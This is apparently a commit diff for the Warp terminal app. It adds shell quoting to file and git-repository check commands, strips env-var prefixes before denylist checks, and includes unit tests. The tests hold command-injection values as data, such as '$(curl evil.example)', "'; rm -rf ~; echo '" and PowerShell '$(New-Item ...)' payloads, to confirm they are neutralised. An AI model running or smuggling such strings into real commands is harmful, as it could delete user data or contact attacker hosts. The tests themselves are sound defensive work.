feat: remote code review for Warpified SSH sessions + security hardening

app/i18n/en/warp.ftl

@@ -3622,7 +3622,7 @@ code-review-pr-created-toast = PR successfully created.
 code-review-comments-sent-to-agent = Comments sent to agent
 code-review-could-not-submit-comments = Could not submit comments to the agent
 code-review-tooltip-view-changes = View changes
-code-review-diffs-local-workspaces-only = Diffs only work for local workspaces.
+code-review-diffs-local-workspaces-only = Diffs only work for local workspaces and Warpified SSH sessions.
 code-review-diffs-git-repositories-only = Diffs only work for git repositories.
 code-review-diffs-wsl-unsupported = Diffs don't currently work in WSL.
 code-review-generating-commit-message-placeholder = Generating commit message…

app/src/ai/blocklist/action_model/execute.rs

@@ -76,7 +76,9 @@ use crate::{
         ambient_agents::AmbientAgentTaskId,
     },
     terminal::{
-        model::session::{active_session::ActiveSession, ExecuteCommandOptions, Session},
+        model::session::{
+            active_session::ActiveSession, shell_quote_arg, ExecuteCommandOptions, Session,
+        },
         model_events::ModelEventDispatcher,
         shell::ShellType,
         ShellLaunchData, TerminalModel,
@@ -1072,14 +1074,26 @@ async fn read_binary_file_context(
     })
 }
 
+fn build_is_file_path_command(path: &str, shell_type: ShellType) -> String {
+    let escaped_path = shell_quote_arg(path, shell_type);
+    if shell_type == ShellType::PowerShell {
+        format!("if (Test-Path -PathType Leaf {escaped_path}) {{ exit 0 }} else {{ exit 1 }}")
+    } else {
+        format!("test -f {escaped_path}")
+    }
+}
+
+fn build_is_git_repository_command(absolute_path: &str, shell_type: ShellType) -> String {
+    format!(
+        "git -C {} rev-parse",
+        shell_quote_arg(absolute_path, shell_type)
+    )
+}
+
 /// Returns true if the given path is a regular file on the session's filesystem.
 /// Runs a shell command on the session so it works for both local and remote sessions.
 async fn is_file_path(path: &str, session: &Session) -> bool {
-    let command = if session.shell().shell_type() == ShellType::PowerShell {
-        format!("if (Test-Path -PathType Leaf \"{path}\") {{ exit 0 }} else {{ exit 1 }}")
-    } else {
-        format!("test -f \"{path}\"")
-    };
+    let command = build_is_file_path_command(path, session.shell().shell_type());
     session
         .execute_command(&command, None, None, ExecuteCommandOptions::default())
         .await
@@ -1089,7 +1103,7 @@ async fn is_file_path(path: &str, session: &Session) -> bool {
 
 /// Returns true if git is installed and the given path is in a git repository.
 async fn is_git_repository(absolute_path: &str, session: &Session) -> anyhow::Result<bool> {
-    let git_command = format!("git -C \"{absolute_path}\" rev-parse");
+    let git_command = build_is_git_repository_command(absolute_path, session.shell().shell_type());
     let command_output = session
         .execute_command(
             git_command.as_str(),

app/src/ai/blocklist/action_model/execute_tests.rs

@@ -97,3 +97,100 @@ mod binary_detection {
         assert!(block_on(is_file_content_binary_async(&missing)));
     }
 }
+
+mod path_shell_quoting {
+    use super::super::{build_is_file_path_command, build_is_git_repository_command};
+    use crate::terminal::shell::ShellType;
+
+    #[test]
+    fn is_file_path_quotes_posix_path_as_single_argument() {
+        let command = build_is_file_path_command("/tmp/repo path/file.rs", ShellType::Bash);
+
+        assert_eq!(command, "test -f '/tmp/repo path/file.rs'");
+    }
+
+    #[test]
+    fn is_file_path_neutralizes_posix_substitutions() {
+        let command =
+            build_is_file_path_command("/tmp/x$(touch /tmp/warp-poc)`id`", ShellType::Bash);
+
+        assert_eq!(command, "test -f '/tmp/x$(touch /tmp/warp-poc)`id`'");
+    }
+
+    #[test]
+    fn is_file_path_neutralizes_embedded_quote_posix() {
+        let command = build_is_file_path_command("/tmp/foo'; rm -rf ~; echo '", ShellType::Bash);
+
+        assert_eq!(command, r#"test -f '/tmp/foo'"'"'; rm -rf ~; echo '"'"''"#);
+    }
+
+    #[test]
+    fn is_file_path_quotes_powershell_path_as_single_argument() {
+        let command =
+            build_is_file_path_command(r#"C:\Users\me\file path.rs"#, ShellType::PowerShell);
+
+        assert_eq!(
+            command,
+            r#"if (Test-Path -PathType Leaf 'C:\Users\me\file path.rs') { exit 0 } else { exit 1 }"#
+        );
+    }
+
+    #[test]
+    fn is_file_path_neutralizes_powershell_substitutions() {
+        let command = build_is_file_path_command(
+            r#"C:\tmp\x$(New-Item C:\poc)$env:USERPROFILE"#,
+            ShellType::PowerShell,
+        );
+
+        assert_eq!(
+            command,
+            r#"if (Test-Path -PathType Leaf 'C:\tmp\x$(New-Item C:\poc)$env:USERPROFILE') { exit 0 } else { exit 1 }"#
+        );
+    }
+
+    #[test]
+    fn is_file_path_neutralizes_fish_embedded_quote() {
+        let command = build_is_file_path_command("/tmp/owner's file", ShellType::Fish);
+
+        assert_eq!(command, r"test -f '/tmp/owner\'s file'");
+    }
+
+    #[test]
+    fn is_git_repository_quotes_posix_path_as_single_argument() {
+        let command = build_is_git_repository_command("/tmp/repo path", ShellType::Zsh);
+
+        assert_eq!(command, "git -C '/tmp/repo path' rev-parse");
+    }
+
+    #[test]
+    fn is_git_repository_neutralizes_posix_substitutions() {
+        let command =
+            build_is_git_repository_command("/tmp/x$(curl evil.example)`id`", ShellType::Bash);
+
+        assert_eq!(command, "git -C '/tmp/x$(curl evil.example)`id`' rev-parse");
+    }
+
+    #[test]
+    fn is_git_repository_neutralizes_embedded_quote_posix() {
+        let command =
+            build_is_git_repository_command("/tmp/foo'; rm -rf ~; echo '", ShellType::Bash);
+
+        assert_eq!(
+            command,
+            r#"git -C '/tmp/foo'"'"'; rm -rf ~; echo '"'"'' rev-parse"#
+        );
+    }
+
+    #[test]
+    fn is_git_repository_neutralizes_powershell_substitutions() {
+        let command = build_is_git_repository_command(
+            r#"C:\repo$(New-Item C:\poc)$env:USERPROFILE"#,
+            ShellType::PowerShell,
+        );
+
+        assert_eq!(
+            command,
+            r#"git -C 'C:\repo$(New-Item C:\poc)$env:USERPROFILE' rev-parse"#
+        );
+    }
+}

app/src/ai/blocklist/agent_view/agent_input_footer/mod.rs

@@ -19,7 +19,7 @@ use crate::{
     completer::SessionContext,
     context_chips::{
         self,
-        display_chip::{DisplayChip, DisplayChipConfig},
+        display_chip::{DisplayChip, DisplayChipConfig, PromptChipShellCommand},
         prompt_type::PromptType,
         ContextChipKind,
     },
@@ -2242,7 +2242,7 @@ pub enum AgentInputFooterEvent {
     ToggledChipMenu {
         open: bool,
     },
-    TryExecuteChipCommand(String),
+    TryExecuteChipCommand(PromptChipShellCommand),
     ModelSelectorOpened,
     ModelSelectorClosed,
     ToggleInlineModelSelector {

app/src/ai/blocklist/permissions.rs

@@ -23,7 +23,7 @@ use crate::ai::mcp::TemplatableMCPServerManager;
 
 use anyhow::Result;
 use serde::{Deserialize, Serialize};
-use warp_completer::parsers::simple::decompose_command;
+use warp_completer::parsers::simple::{command_without_leading_env_vars, decompose_command};
 use warp_core::user_preferences::GetUserPreferences;
 use warp_core::{features::FeatureFlag, settings::Setting};
 use warp_util::path::EscapeChar;
@@ -853,10 +853,17 @@ impl BlocklistAIPermissions {
         // The command string might be composed of multiple commands so let's
         // break it up first.
         let (commands, contains_redirection) = decompose_command(&normalized_command, escape_char);
+        // Strip leading env-var assignments (e.g. `X=1 rm file.txt`) before denylist
+        // matching so a blocked command can't be hidden behind an env-var prefix. This
+        // is applied to the denylist check ONLY — never to allowlist matching below.
+        let commands_for_denylist = commands
+            .iter()
+            .map(|command| command_for_execution_predicates(command, escape_char))
+            .collect::<Vec<_>>();
 
         // The denylist takes precedence over all other conditions.
         let denylist = self.get_execute_commands_denylist(ctx, terminal_view_id);
-        if commands
+        if commands_for_denylist
             .iter()
             .any(|c| denylist.iter().any(|d| d.matches(c)))
         {
@@ -1165,6 +1172,12 @@ impl BlocklistAIPermissions {
     }
 }
 
+fn command_for_execution_predicates(command: &str, escape_char: EscapeChar) -> String {
+    command_without_leading_env_vars(command, escape_char)
+        .filter(|command| !command.is_empty())
+        .unwrap_or_else(|| command.to_string())
+}
+
 /// Returns `Some(Denied(ProtectedPath))` if any of the given paths are system-protected
 /// and must never be auto-written regardless of user autonomy settings.
 /// Returns `None` if no paths are protected.

app/src/ai/blocklist/permissions_test.rs

@@ -672,6 +672,74 @@ fn test_can_autoexecute_command_denylist_precedence() {
     })
 }
 
+#[test]
+fn test_can_autoexecute_command_denylist_matches_env_prefixed_commands() {
+    App::test((), |mut app| async move {
+        let PermissionsTestState {
+            convo_id,
+            permissions,
+            profile_model,
+            terminal_view_id,
+            ..
+        } = initialize_permissions_test(&mut app);
+
+        profile_model.update(&mut app, |model, ctx| {
+            let profile_id = *model.active_profile(Some(terminal_view_id), ctx).id();
+            model.set_execute_commands(profile_id, &ActionPermission::AlwaysAllow, ctx);
+            model.add_to_command_denylist(
+                profile_id,
+                &AgentModeCommandExecutionPredicate::new_regex("rm .*").unwrap(),
+                ctx,
+            );
+        });
+
+        for command in [
+            "X=1 rm file.txt",
+            "echo ok && X=1 rm file.txt",
+            "echo $(X=1 rm file.txt)",
+        ] {
+            permissions.read(&app, |model, ctx| {
+                let result = model.can_autoexecute_command(
+                    &convo_id,
+                    command,
+                    EscapeChar::Backslash,
+                    false,
+                    None,
+                    Some(terminal_view_id),
+                    ctx,
+                );
+                assert!(
+                    matches!(
+                        result,
+                        CommandExecutionPermission::Denied(
+                            CommandExecutionPermissionDeniedReason::ExplicitlyDenylisted
+                        )
+                    ),
+                    "{command:?} should be denied by the rm denylist, got {result:?}"
+                );
+            });
+        }
+
+        permissions.read(&app, |model, ctx| {
+            let result = model.can_autoexecute_command(
+                &convo_id,
+                "X=1 git status",
+                EscapeChar::Backslash,
+                false,
+                None,
+                Some(terminal_view_id),
+                ctx,
+            );
+            assert!(matches!(
+                result,
+                CommandExecutionPermission::Allowed(
+                    CommandExecutionPermissionAllowedReason::AlwaysAllowed
+                )
+            ));
+        });
+    })
+}
+
 #[test]
 fn test_can_autoexecute_command_allowlist_precedence() {
     App::test((), |mut app| async move {

app/src/app_services/windows/service_impl.rs

@@ -32,7 +32,6 @@ impl ipc::ServiceImpl for UriServiceImpl {
     type Service = UriService;
 
     async fn handle_request(&self, request: Vec<Url>) -> () {
-        log::info!("Uri Service received request: {request:?}");
         if let Err(send_error) = self.tx.send(request).await {
             log::error!("Error sending urls to local stream: {send_error:#}");
         }

app/src/code/view.rs

@@ -420,24 +420,45 @@ impl CodeView {
             NotebooksEditorModel::new(styles, window_id, ctx)
         });
         let rendered_view = ctx.add_typed_action_view(|ctx| {
-            let mut view = RichTextEditorView::new(
+            RichTextEditorView::new(
                 view_position_id,
                 editor_model,
                 links,
                 RichTextEditorConfig::default(),
                 ctx,
-            );
-            view.set_interaction_state(InteractionState::Selectable, ctx);
-            view
+            )
         });
+        // 先在**空 buffer** 上切到只读 Selectable 状态,内容写入推迟到**下一个**
+        // 事件循环周期。顺序与分周期都不能变,原因如下:
+        //
+        // Editable→Selectable 会翻转 Mermaid 渲染开关(仅当 MarkdownMermaid 特性
+        // 开启时),其**延迟**的 InteractionStateModelEvent 处理器会调用
+        // `rebuild_layout`。若在同一周期内 `reset_with_markdown` 已同步填充 buffer,
+        // 这次 relayout 便对**整篇已填充文档**发起一次布局失效,与内容插入这两条整篇
+        // 布局动作在同一 FIFO 布局通道里竞争;当失效先于插入到达时,会走
+        // "insert before first block" 分支把先前的窄树当作 suffix 保留 → 文档在真实
+        // 内容之后被重复渲染一份、每行仅一个字符宽(首帧 viewport 宽度为 0)。
+        //
+        // 先在空 buffer 上切状态,使这次 relayout 成为**空失效**(不可能产生窄树);
+        // 再把内容写入推迟到下一个周期,内容便作为唯一一条布局动作干净地插入空树,
+        // 与通道处理时序无关。这与本地文件路径行为一致:那里内容在异步文件加载后的
+        // 较晚周期才到达,故天然避开此问题。
         rendered_view.update(ctx, |editor, ctx| {
-            editor.reset_with_markdown(&content, ctx);
+            editor.set_interaction_state(InteractionState::Selectable, ctx);
         });
 
         if let Some(tab) = self.tab_group.get_mut(index) {
-            tab.rendered_markdown_view = Some(rendered_view);
+            tab.rendered_markdown_view = Some(rendered_view.clone());
         }
         ctx.notify();
+
+        // 推迟内容写入到下一个事件循环周期(见上),让空 buffer 上的状态变更
+        // relayout 先完整跑完。
+        ctx.spawn(futures::future::ready(()), move |_view, (), ctx| {
+            rendered_view.update(ctx, |editor, ctx| {
+                editor.reset_with_markdown(&content, ctx);
+            });
+        });
     }
 
     /// Restore a code view from a persisted multi-tab snapshot.